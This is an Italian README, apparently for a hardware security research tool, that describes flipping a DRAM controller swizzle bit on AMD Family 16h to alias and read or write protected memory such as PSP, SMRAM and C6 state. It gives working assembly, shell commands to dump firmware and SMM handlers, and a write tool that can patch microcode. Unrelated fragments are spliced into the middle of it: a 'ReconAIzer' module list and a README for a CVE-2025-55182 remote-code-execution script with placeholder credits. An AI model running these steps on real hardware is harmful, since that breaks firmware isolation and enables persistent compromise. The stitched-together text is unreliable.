L'odissea di *p

È una lunga discesa.

La memoria è costruita su strati di astrazione così profondi da diventare quasi assurdi. Quando il tuo codice dereferenzia *p, sembra accedere alla DRAM all'indirizzo p. Non lo fa — p è un indirizzo virtuale, e prima che un singolo bit di DRAM venga toccato, deve sopravvivere al calvario sottostante:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

Questo è l'exploit. Tutto quanto.

Un singolo bit-flip nel controller DRAM ricabla il fondo della pipeline *p, e i dati che erano a &x ora sono da qualche altra parte a metà volo. Improvvisamente &x != &x. Ogni meccanismo che la CPU, il firmware, l'uncore e il chipset usano per isolare la memoria protetta si trova al di sopra del controller di memoria, e nessuno di essi vede cosa accade al di sotto. Le barriere proteggono indirizzi fisici, non coordinate DRAM; riorganizza le coordinate e le barriere sovrastanti non se ne accorgono mai.

Ma ricablare la DRAM è facile. Il bit sopra è la modalità bank-swizzle nel DCT, ed è solo uno dei tanti che controllano le rimappature degli indirizzi allo strato finale — tutto ciò che devi fare è manipolarli per far crollare tutto ciò che è costruito sopra. La parte più difficile è quindi mantenere la piattaforma attiva mentre l'intera memoria di sistema viene rimescolata sotto di essa.

Il trucco: essere veloce, e non toccare la DRAM. Disabilita gli AP, prepara le TLB, scalda la cache, disabilita gli interrupt, svuota il target, serializza gli accessi alla memoria, e spera che la CPU abbia prelevato in anticipo le istruzioni imminenti. Poi ricabla il MCT/DCT per spaghettificare la DRAM, preleva alcuni dati dalla regione protetta, ripristina le mappature, serializza di nuovo, abilita gli interrupt, riprendi gli AP, e la piattaforma torna alla normalità.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

Questa è la visione coerente della memoria: lo stadio più basso della pipeline *p opera esattamente come dovrebbe.

Ora ricabla lo stadio MCT/DCT di *p con xor dword [0xf80c2094], 0x00400000, e la piattaforma entra in una visione criptata/spaghettificata della memoria dove una trasformazione diversa consente a un alias di raggiungere lo stesso segreto DRAM:``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

L'unica difficoltà è che le matrici sono sconosciute, il che significa che non abbiamo idea di come la memoria sia effettivamente rimescolata, e nessuna trasformazione da usare per raggiungere il segreto in primo luogo:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

Alimentare la z3 con coppie di alias una alla volta ci permette di osservare il risolutore SMT decifrare lo scrambling della memoria in tempo reale, come mostrato nell'immagine di apertura.

La trasformazione risolta è una stele di Rosetta: qualsiasi indirizzo di destinazione nella vista coerente mappa su un alias che raggiunge la stessa DRAM nella vista spaghettificata. Per raggiungere qualsiasi memoria protetta, prendi un indirizzo che normalmente non possiamo toccare — memoria privata PSP, SMRAM, lo stato idle C6 — e passalo attraverso la trasformazione per ottenere il suo alias. Poi ricabla il DCT con xor dword [0xf80c2094], 0x00400000, leggi o scrivi l'alias, e torna indietro con un secondo xor. Il percorso dell'alias attraverso la pipeline *p non incontra mai una barriera che la piattaforma ha costruito per la vista coerente — accesso senza restrizioni a qualsiasi cosa nella DRAM.

Alla fine, tutto ciò che è stato così accuratamente isolato — memoria privata PSP, SMRAM, lo stato idle C6, inaccessibile dal sistema operativo, da ring-0, a volte dalla CPU stessa — è ancora lì, nelle stesse capacità DRAM. Ma le serrature sono state costruite attorno alla vista coerente della memoria, e non fanno nulla contro un alias spaghettificato che raggiunge la stessa cella.

Basta cambiare un bit nel livello finale della pipeline *p, e abbiamo sbloccato tutto.

Avvio rapido: sblocca il tuo Platform Security Processor

Manometti il tuo PSP, vedi cosa succede.

L'fTPM gira sul core ARM del PSP stesso, in un carveout DRAM proprio oltre la cima visibile della memoria. Raggiungilo aliasando un indirizzo fisico visibile al sistema operativo su di esso, estrai i byte, disassembla.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

Ecco il motore RSA del PSP — il modexp dietro ogni firma fTPM, e dietro i test di Miller-Rabin che generano le sue chiavi — estratto dalla memoria che il PSP dovrebbe possedere da solo, recintato al controller di memoria, opaco persino a ring-0. Modificalo come preferisci.

Avvio rapido: sbloccare la System Management Mode

Leggi ciò che SMM nasconde.

Il vettore di ingresso dell'handler SMI si trova a SMBASE + 0x8000. SMBASE è nel MSR 0xc0010111. Leggilo, estrai i byte attraverso la mappa alias e convogliali direttamente in un disassembler:```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

sudo modprobe msr

SMBASE is per-core; core 0's lives in MSR 0xc0010111.

SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

Dump the entry vector through the alias map and disassemble on the fly.

SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;

printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.

sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

Installazione manuale

Docker

Utilizzo

Opzioni

Esempi

Scansione di base

Scansione avanzata con output personalizzato

Moduli

ReconAIzer è composto da diversi moduli specializzati:

• subdomain - Enumerazione dei sottodomini
• ports - Scansione delle porte e rilevamento dei servizi
• web - Analisi delle applicazioni web
• dns - Raccolta di informazioni DNS
• ssl - Analisi dei certificati SSL/TLS

Configurazione

La configurazione può essere fornita tramite un file config.yaml:

Licenza

Questo progetto è distribuito sotto la licenza Apache 2.0. Consulta il file LICENSE per i dettagli.```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

Utilizzo

Esempi

Come funziona

Lo script sfrutta la vulnerabilità CVE-2025-55182 inviando una richiesta POST appositamente predisposta all'endpoint di destinazione. La richiesta contiene un payload che sfrutta la falla di deserializzazione, consentendo l'esecuzione di codice in remoto.

Requisiti

• Python 3.x
• Libreria requests

Installazione

Disclaimer

Questo strumento è fornito solo a scopo educativo e di ricerca sulla sicurezza. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Usalo in modo responsabile e solo su sistemi che possiedi o per cui hai un'autorizzazione esplicita a testare.

Licenza

Questo progetto è concesso in licenza secondo la Licenza MIT - consulta il file LICENSE per i dettagli.

Riferimenti

• CVE-2025-55182
• Analisi della vulnerabilità

Riconoscimenti

• Ricerca e sviluppo originali: [Researcher Name]
• Strumento sviluppato da: [Your Name]

Cronologia stelle

```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor

Confrontalo con le patch note:```sh

did we find it?

python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF

Estrai le triadi ucode:```sh od -Ax -tx1 -w20 ucode_ram.bin

Ed eccolo lì, uops distinti in alto, padding NOP che si ripete sotto.

Da lì, dram_dump ha uno strumento gemello, dram_poke. Lo stesso alias che leggeva la patch può scriverla — e questa copia è quella che il core ricarica uscendo dallo stato di inattività.

Quello che fai dopo è lasciato alla tua immaginazione.

Build```

make # builds kernel/spaghettify.ko and all userspace tools make clean

dram_poke

Scrive in un intervallo di memoria protetto.

Ogni --map è una spaghettificazione risolta da unspaghettify.py --save-map, a sua volta alimentata da coppie di alias raccolte da gather_aliases.py; l'alias per ogni dword nell'intervallo protetto viene recuperato dalla mappa tramite una pseudo-inversa di GF(2) calcolata una volta all'avvio. Passa più mappe — una per (at_swizzle, at_bankswap) raccolta sullo stesso hardware — per ampliare la copertura, poiché ogni spaghettificazione lascia un diverso insieme di buchi a rango carente e la prima mappa che raggiunge un dato dword vince.``` dram_poke [--dangerously-skip-calibration] [--calibrate-pa ] [--strict-holes] [--no-verify] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]... < in.bin

L'intera toolchain — dram_state, dram_carveouts e dram_alias; la pipeline di analisi gather_aliases.py / unspaghettify.py; esempi completi end-to-end; e gli internals — è documentata in USAGE.md.

La pipeline condivisa

skitter-creek-bath-salts esplora come le fasi finali delle trasformazioni MCT/DCT possano far crollare la sicurezza di tutto ciò che è costruito al di sopra. L'exploit dimostrato qui è un registro di configurazione su AMD Family 16h, scelto perché i datasheet fornivano abbastanza per iniziare. La pipeline che ha infranto è ovunque.

Channel interleave, rank interleave, bank interleave, swizzle, chip-select normalize — ogni memory controller moderno fa qualche versione di tutto ciò. AMD. Intel. ARM. RISC-V. Mobile. Server. Embedded. La stessa forma architetturale sta sotto a tutto.

Al di sopra di tutto ciò stanno SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP, il PSP, ME, T-SEG, SMRAM, il C6 stash. Tutto ciò che risiede in DRAM — persino le cose isolate e invisibili a ring-0 o alla CPU stessa — poggia sugli strati finali di una pipeline *p che abbiamo appena iniziato a esplorare.

Riferimenti

• Black Hat 2026 — Spaghettifying DRAM (Coming Soon)

Autore

skitter-creek-bath-salts è uno sforzo di ricerca di Christopher Domas (@xoreaxeaxeax)